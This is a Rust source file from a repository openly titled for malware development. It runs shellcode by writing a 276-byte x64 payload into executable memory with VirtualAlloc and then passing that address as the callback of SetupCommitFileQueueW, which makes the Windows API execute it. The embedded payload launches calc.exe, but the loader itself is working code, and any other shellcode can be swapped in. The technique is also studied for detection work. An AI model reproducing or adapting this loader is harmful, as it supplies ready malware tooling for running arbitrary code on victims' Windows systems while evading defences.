/*
    Shellcode Execution through SetupCommitFileQueueW
    For more Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
    @5mukx
*/

use winapi::um::setupapi::{
    SetupCommitFileQueueW, 
    SetupOpenFileQueue, 
    SetupQueueCopyW, 
    SP_COPY_NOSKIP,
};

use winapi::um::winuser::GetTopWindow;
use winapi::ctypes::c_void;
use std::ffi::OsStr;
use std::os::windows::ffi::OsStrExt;
use std::ptr::{
    copy_nonoverlapping, 
    null_mut 
};

use winapi::um::{
    memoryapi::VirtualAlloc, 
    winnt::{
        MEM_COMMIT, 
        PAGE_EXECUTE_READWRITE, 
    }
};

fn main(){
    let shellcode: [u8; 276] = [
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
        0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
        0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
        0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
        0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
        0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
        0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
        0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
        0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
        0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
        0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
        0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
        0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
        0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
        0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
        0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
        0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
        0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,     
    ];

    unsafe{

        let addr = VirtualAlloc(
            null_mut(), 
            shellcode.len(), 
            MEM_COMMIT, 
            PAGE_EXECUTE_READWRITE,
        );
        
        copy_nonoverlapping(
            shellcode.as_ptr(),
            addr as *mut u8,
            shellcode.len(),
        );
        
        let hqueue: *mut c_void = SetupOpenFileQueue(); 
        let path = OsStr::new("c:\\").encode_wide().chain(Some(0)).collect::<Vec<_>>(); 
        let path1 = OsStr::new("\\windows\\system32\\").encode_wide().chain(Some(0)).collect::<Vec<_>>(); 
        let kernel32 = OsStr::new("kernel32.dll").encode_wide().chain(Some(0)).collect::<Vec<_>>(); 
        let temp = OsStr::new("c:\\windows\\temp\\kernel32.dll").encode_wide().chain(Some(0)).collect::<Vec<_>>(); 
        
        SetupQueueCopyW( 
            hqueue, 
            path.as_ptr(), 
            path1.as_ptr(), 
            kernel32.as_ptr(), 
            null_mut(), 
            null_mut(), 
            temp.as_ptr(), 
            kernel32.as_ptr(), 
            SP_COPY_NOSKIP, 
        ); 
        
        SetupCommitFileQueueW( 
            GetTopWindow(null_mut()), 
            hqueue, 
            std::mem::transmute(addr), 
            null_mut(), 
        ); 
    }
}